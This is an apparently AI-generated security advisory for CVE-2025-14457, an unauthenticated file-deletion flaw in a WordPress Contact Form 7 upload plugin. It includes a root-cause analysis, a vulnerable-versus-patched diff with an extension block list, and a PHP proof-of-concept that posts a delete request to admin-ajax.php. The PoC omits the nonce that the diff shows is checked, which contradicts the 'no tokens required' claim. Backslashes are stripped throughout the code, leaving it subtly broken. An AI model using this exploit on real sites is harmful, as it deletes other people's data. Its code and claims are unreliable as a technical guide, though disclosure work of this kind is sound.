Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14457: Drag and Drop Multiple File Upload for Contact Form 7 <= 1.3.9.2 – Missing Authorization to Unauthenticated File Deletion (drag-and-drop-multiple-file-upload-contact-form-7)

Severity Low (CVSS 3.7)
CWE 862
Vulnerable Version 1.3.9.2
Patched Version 1.3.9.3
Disclosed January 13, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14457:
The Drag and Drop Multiple File Upload for Contact Form 7 WordPress plugin contains a Missing Authorization vulnerability in versions up to and including 1.3.9.2. The vulnerability allows unauthenticated attackers to delete arbitrary files uploaded through the plugin when the ‘Send attachments as links’ setting is enabled. This is a low-severity issue with a CVSS score of 3.7.

Atomic Edge research identified the root cause in the `dnd_codedropz_upload_delete()` function within `/inc/dnd-upload-cf7.php`. The function handles file deletion requests via AJAX. In vulnerable versions, the function performed insufficient validation when the `drag_n_drop_mail_attachment` setting was set to ‘yes’. Specifically, lines 1053-1057 in the diff show the vulnerable code bypassed critical ownership checks. The function relied on a cookie-based `unique_id` for authorization but failed to validate this identifier properly when the ‘send as links’ feature was active.

The exploitation method targets the WordPress AJAX endpoint `/wp-admin/admin-ajax.php` with a POST request. Attackers send an `action` parameter set to `dnd_codedropz_upload_delete` and a `path` parameter containing the relative path to the target file. No authentication or authorization tokens are required. The attack functions when the plugin’s ‘Send attachments as links’ setting is enabled, which changes the file storage location from user-specific subdirectories to a shared upload folder.

The patch in version 1.3.9.3 introduces comprehensive validation checks. The fix removes the conditional bypass at lines 1053-1057 that previously skipped ownership verification. New validation at lines 1065-1072 ensures the `unique_id` parameter exists, matches a specific regex pattern, and corresponds to the `current_folder` value from the user’s cookie. The patch also standardizes file path construction and strengthens the `.htaccess` file generation to block PHP and PHAR file execution.

Successful exploitation allows unauthenticated attackers to delete arbitrary files uploaded through the plugin. This can disrupt form submission processes, cause data loss for legitimate users, and potentially enable denial-of-service conditions if critical files are removed. The vulnerability does not permit arbitrary file upload or remote code execution, but it violates the integrity of user-submitted data.

Differential between vulnerable and patched code

Code Diff
--- a/drag-and-drop-multiple-file-upload-contact-form-7/drag-n-drop-upload-cf7.php
+++ b/drag-and-drop-multiple-file-upload-contact-form-7/drag-n-drop-upload-cf7.php
@@ -6,7 +6,7 @@
 	* Description: This simple plugin create Drag & Drop or choose Multiple File upload in your Confact Form 7 Forms.
 	* Text Domain: drag-and-drop-multiple-file-upload-contact-form-7
 	* Domain Path: /languages
-	* Version: 1.3.9.2
+	* Version: 1.3.9.3
 	* Author: Glen Don L. Mongaya
 	* Author URI: http://codedropz.com
 	* License: GPL2
@@ -21,7 +21,7 @@
 	define( 'dnd_upload_cf7', true );

 	/**  Define plugin Version */
-	define( 'dnd_upload_cf7_version', '1.3.9.2' );
+	define( 'dnd_upload_cf7_version', '1.3.9.3' );

 	/**  Define constant Plugin Directories  */
 	define( 'dnd_upload_cf7_directory', untrailingslashit( dirname( __FILE__ ) ) );
--- a/drag-and-drop-multiple-file-upload-contact-form-7/inc/dnd-upload-cf7.php
+++ b/drag-and-drop-multiple-file-upload-contact-form-7/inc/dnd-upload-cf7.php
@@ -105,7 +105,13 @@

 			if ( ! file_exists( $htaccess_file ) ) {
 				if ( $handle = fopen( $htaccess_file, 'w' ) ) {
-					fwrite( $handle, "Options -Indexes n <Files *.php> n deny from all n </Files>" );
+					fwrite(
+						$handle,
+						"Options -Indexesnn" .
+						"<FilesMatch "\.(php|phar)$">n" .
+						"    Deny from alln" .
+						"</FilesMatch>n"
+					);
 					fclose( $handle );
 				}
 			}
@@ -200,7 +206,7 @@
 					if ( is_array( $posted_data ) ) {
 						foreach( $posted_data[$field_name] as $key => $file ) {
 							if ( $send_link || strpos( dirname($file), 'wpcf7-files' ) !== false ) {
-								$file = wp_basename( $file ); // remove duplicate path "/12/file.jpg" to just "/file.jpg"
+								//$file = wp_basename( $file ); // remove duplicate path "/12/file.jpg" to just "/file.jpg"
 							}
 							$posted_data[$field_name][$key] = trailingslashit( $uploads_dir['upload_url'] ) . $file;
 						}
@@ -249,24 +255,26 @@

 	// Get folder path
 	function dnd_get_upload_dir( $dir = false ) {
-		$upload        = wp_upload_dir();
-		$uploads_dir   = wpcf7_dnd_dir . '/wpcf7-files';
+		$upload      = wp_upload_dir();
+		$uploads_dir = wpcf7_dnd_dir . '/wpcf7-files';

-		// Add random folder.
+		// Send file as links is enabled.
+		if ( dnd_cf7_settings('drag_n_drop_mail_attachment') == 'yes' ) {
+			$uploads_dir = wpcf7_dnd_dir; // return the define/default path dir.
+		}
+
+		// Setup random/unique folder, only created if user uploading.
 		if ( true === $dir ) {
 			$unique_id = dnd_cf7_get_unique_id();
-			if ( $unique_id ) {
-				$random_folder = preg_replace( '/[^a-zA-Z0-9_-]/', '', $unique_id );
-				$uploads_dir   = $uploads_dir .'/'. sanitize_file_name( $random_folder ); // Sanitize File Name Aug 2025
+			if ( ! empty( $unique_id ) ) {
+				$unique_id = preg_replace( '/[^a-zA-Z0-9_-]/', '', $unique_id );
+				if ( '' !== $unique_id ) {
+					$uploads_dir = trailingslashit( $uploads_dir ) . sanitize_file_name( $unique_id );
+				}
 			}
 		}

-		// If save as attachment ( also : Check if upload use year and month folders )
-		if( dnd_cf7_settings('drag_n_drop_mail_attachment') == 'yes' ) {
-			$uploads_dir = ( get_option('uploads_use_yearmonth_folders') ? wpcf7_dnd_dir . $upload['subdir'] : wpcf7_dnd_dir );
-		}
-
-		// Create directory
+		// Create directory if not exists.
 		if ( ! is_dir( trailingslashit( $upload['basedir'] ) . $uploads_dir ) ) {
 			wp_mkdir_p( trailingslashit( $upload['basedir'] ) . $uploads_dir );
             chmod( trailingslashit( $upload['basedir'] ) . $uploads_dir, 0755 );
@@ -355,7 +363,7 @@
 		$_mail = 0;

 		// Check If send attachment as link
-		if( ! dnd_cf7_settings('drag_n_drop_mail_attachment') ) {
+		if( dnd_cf7_settings('drag_n_drop_mail_attachment') !== 'yes' ) {
 			return $wpcf7;
 		}

@@ -881,7 +889,10 @@
         }

         // Get blacklist Types
-        $blacklist_types = ( isset( $blacklist["$cf7_upload_name"] ) ?  explode( '|', $blacklist["$cf7_upload_name"] ) : '' );
+		$blacklist_types = dnd_cf7_not_allowed_ext();
+		if ( isset( $blacklist["$cf7_upload_name"] ) && ! empty( $blacklist["$cf7_upload_name"] ) ) {
+			$blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
+		}

 		// Get upload dir
 		$path = dnd_get_upload_dir( true ); // ok
@@ -917,10 +928,19 @@
         // Check unique name
         $filename = wp_unique_filename( $path['upload_dir'], $filename );

-        // Validate File Types
-        if( $blacklist_types && in_array( $extension, $blacklist_types ) && $supported_type == '*' ){
-            wp_send_json_error( dnd_cf7_settings('drag_n_drop_error_invalid_file') ? dnd_cf7_settings('drag_n_drop_error_invalid_file') : dnd_cf7_error_msg('invalid_type') );
-        }
+        // Validate File Types (if supported type is set to "*")
+		if ( $supported_type == '*' ) {
+			$file_type          = wp_check_filetype( $file['name'] );
+			$not_allowed_ext    = array( 'phar', 'svg',  ); // not allowed file type.
+			$type_ext           = ( $file_type['ext'] !== false ? strtolower( $file_type['ext'] ) : $extension );
+			$error_invalid_type = dnd_cf7_settings('drag_n_drop_error_invalid_file') ?: dnd_cf7_error_msg('invalid_type');
+
+			if ( ! empty( $blacklist_types ) && in_array( $type_ext, $blacklist_types, true ) ) {
+				wp_send_json_error( $error_invalid_type );
+			} elseif ( in_array( $type_ext, $not_allowed_ext, true ) ) {
+				wp_send_json_error( $error_invalid_type );
+			}
+		}

 		// validate file type
 		if ( ( ! preg_match( $file_type_pattern, $file['name'] ) || ! dnd_cf7_validate_type( $extension, $supported_type ) ) && $supported_type != '*' ) {
@@ -1020,7 +1040,7 @@

 		// check and verify ajax request.
         if( ! check_ajax_referer( 'dnd-cf7-security-nonce', 'security', false ) ) {
-            wp_send_json_error('The security nonce is invalid or expired.');
+        	wp_send_json_error('The security nonce is invalid or expired.');
         }

 		// Block curl request.
@@ -1031,11 +1051,6 @@
 		// Sanitize Path.
 		$path = ( isset( $_POST['path'] ) ? sanitize_text_field( $_POST['path'] ) : null );

-		// Use only filename
-		if ( dnd_cf7_settings('drag_n_drop_mail_attachment') == 'yes' || strpos( dirname( $path ), 'wpcf7-files' ) !== false ) {
-			$path = wp_basename( $path ); // remove duplicate path "/12/file.jpg" to just "/file.jpg"
-		}
-
 		// Make sure path is set
 		if ( ! is_null( $path ) ) {

@@ -1050,11 +1065,14 @@
 			$file_name      = wp_basename( $path ); // added Aug 2025
 			$current_path   = $dir['upload_dir'] .'/'. sanitize_file_name( $unique_id ) .'/'. $file_name;

-			// Show an error
-			if ( 'yes' !== dnd_cf7_settings('drag_n_drop_mail_attachment') ) {
-				if ( ( $unique_id && $unique_id !== $current_folder ) || ! file_exists( $current_path ) || preg_match( '#..[/\\]#', $path ) ) {
-					wp_send_json_error( 'Error: Unauthorized Request!' );
-				}
+			// Validate unique id.
+			if ( empty( $unique_id ) || ! preg_match( '/^(?!.{1,2}$)[a-zA-Z0-9_-]+$/', (string) $unique_id ) ) {
+				wp_send_json_error( 'Error: Invalid Request.' );
+			}
+
+			// Validate cookie and current_folder to ensure they match.
+			if ( ( $unique_id !== $current_folder ) || ! file_exists( $current_path ) || preg_match( '#..[/\\]#', $path ) ) {
+				wp_send_json_error( 'Error: Unauthorized Request!' );
 			}

 			// Concatenate path and upload directory
@@ -1107,16 +1125,21 @@
 		return $file_type_pattern;
 	}

+	// list of not allowed extensions.
+	function dnd_cf7_not_allowed_ext() {
+		return array( 'svg', 'phar', 'php', 'php3','php4','phtml','exe','script', 'app', 'asp', 'bas', 'bat', 'cer', 'cgi', 'chm', 'cmd', 'com', 'cpl', 'crt', 'csh', 'csr', 'dll', 'drv', 'fxp', 'flv', 'hlp', 'hta', 'htaccess', 'htm', 'htpasswd', 'inf', 'ins', 'isp', 'jar', 'js', 'jse', 'jsp', 'ksh', 'lnk', 'mdb', 'mde', 'mdt', 'mdw', 'msc', 'msi', 'msp', 'mst', 'ops', 'pcd', 'pif', 'pl', 'prg', 'ps1', 'ps2', 'py', 'rb', 'reg', 'scr', 'sct', 'sh', 'shb', 'shs', 'sys', 'swf', 'tmp', 'torrent', 'url', 'vb', 'vbe', 'vbs', 'vbscript', 'wsc', 'wsf', 'wsf', 'wsh' );
+	}
+
 	// Add more validation for file extension
 	function dnd_cf7_validate_type( $extension, $supported_types ) {
 		$valid = true;
 		$extension = preg_replace( '/[^A-Za-z0-9,|_]/', '', $extension );

 		// not allowed file types
-		$not_allowed = array( 'php', 'php3','php4','phtml','exe','script', 'app', 'asp', 'bas', 'bat', 'cer', 'cgi', 'chm', 'cmd', 'com', 'cpl', 'crt', 'csh', 'csr', 'dll', 'drv', 'fxp', 'flv', 'hlp', 'hta', 'htaccess', 'htm', 'htpasswd', 'inf', 'ins', 'isp', 'jar', 'js', 'jse', 'jsp', 'ksh', 'lnk', 'mdb', 'mde', 'mdt', 'mdw', 'msc', 'msi', 'msp', 'mst', 'ops', 'pcd', 'pif', 'pl', 'prg', 'ps1', 'ps2', 'py', 'rb', 'reg', 'scr', 'sct', 'sh', 'shb', 'shs', 'sys', 'swf', 'tmp', 'torrent', 'url', 'vb', 'vbe', 'vbs', 'vbscript', 'wsc', 'wsf', 'wsf', 'wsh' );
+		$not_allowed = dnd_cf7_not_allowed_ext();

 		// allowed ext.
-		$allowed_ext = array('ipt');
+		$allowed_ext = apply_filters( 'dnd_cf7_allowed_ext', array( 'ipt' ) );

 		// Search in $not_allowed extension and match
 		foreach( $not_allowed as $single_ext ) {
@@ -1143,7 +1166,18 @@
 			echo '<h1>' . esc_html__( 'Drag & Drop Uploader - Settings', 'drag-and-drop-multiple-file-upload-contact-form-7' ) . '</h1>';

 				echo '<div class="update-nag notice" style="width: 98%;padding: 0px 10px;margin-bottom: 5px;">';
-				echo '<p>' . sprintf( esc_html__( '%1$sUpgrade Now%2$s for Extra Features: Explore the %3$sPro Version%4$s Today!', 'drag-and-drop-multiple-file-upload-contact-form-7' ),'<span style="color:#038d03;">','</span>','<a href="https://codedropz.com/purchase-plugin/" target="_blank">','</a>') . '</p>';
+				echo '<p>';
+				echo sprintf(
+					esc_html__( '🔥 %1$sUpgrade Now%2$s for Extra Features: Explore the %3$sPro Version%4$s Today!', 'drag-and-drop-multiple-file-upload-contact-form-7' ),
+					'<span style="color:#038d03;">','</span>',
+					'<a href="https://codedropz.com/purchase-plugin/" target="_blank">','</a>',
+					);
+				echo ' | ';
+				echo sprintf(
+					esc_html__( '🚀 Try Our New Plugin: %sEasy File Upload & Approval%s', 'drag-and-drop-multiple-file-upload-contact-form-7' ),
+					'<a href="https://wordpress.org/plugins/easy-file-upload-approval/" target="_blank">','</a>'
+				);
+				echo '</p>';
 				echo '</div>';

 				// Error settings
@@ -1376,12 +1410,7 @@

 	// Generate cookie (Cookie expiration 12 Hours)
 	function dnd_cf7_generate_cookie() {
-
-		// if file send as link don't generate cookie as folder will added to /uploads/year/month
-		if ( 'yes' === dnd_cf7_settings('drag_n_drop_mail_attachment') ) {
-			return;
-		}
-		?>
+	?>
 		<script type="text/javascript">
 			function dnd_cf7_generateUUIDv4() {
 				const bytes = new Uint8Array(16);
@@ -1398,7 +1427,7 @@
 				}
 			});
 		</script>
-		<?php
+	<?php
 	}

 	// Get current language (Polylang & WPML)

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14457 - Drag and Drop Multiple File Upload for Contact Form 7 <= 1.3.9.2 - Missing Authorization to Unauthenticated File Deletion
<?php
// Configuration
$target_url = 'https://vulnerable-site.com/wp-admin/admin-ajax.php';
// Path to the target file relative to the plugin's upload directory (e.g., 'wpcf7-files/12345/test.jpg')
$target_file_path = 'wpcf7-files/12345/test.jpg';

// Initialize cURL session
$ch = curl_init();

// Set the target URL
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);

// Prepare the POST data for the vulnerable AJAX action
$post_data = array(
    'action' => 'dnd_codedropz_upload_delete',
    'path' => $target_file_path
);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);

// Set headers to mimic a regular AJAX request
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'X-Requested-With: XMLHttpRequest',
    'User-Agent: Atomic Edge PoC'
));

// Capture the response
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Output results
if ($response === false) {
    echo "cURL Error: " . curl_error($ch) . "n";
} else {
    echo "HTTP Status: $http_coden";
    echo "Response: $responsen";
    // A successful deletion typically returns a JSON success message
    if (strpos($response, 'success') !== false) {
        echo "[+] File deletion likely successful.n";
    } else {
        echo "[-] File deletion may have failed.n";
    }
}

// Clean up
curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School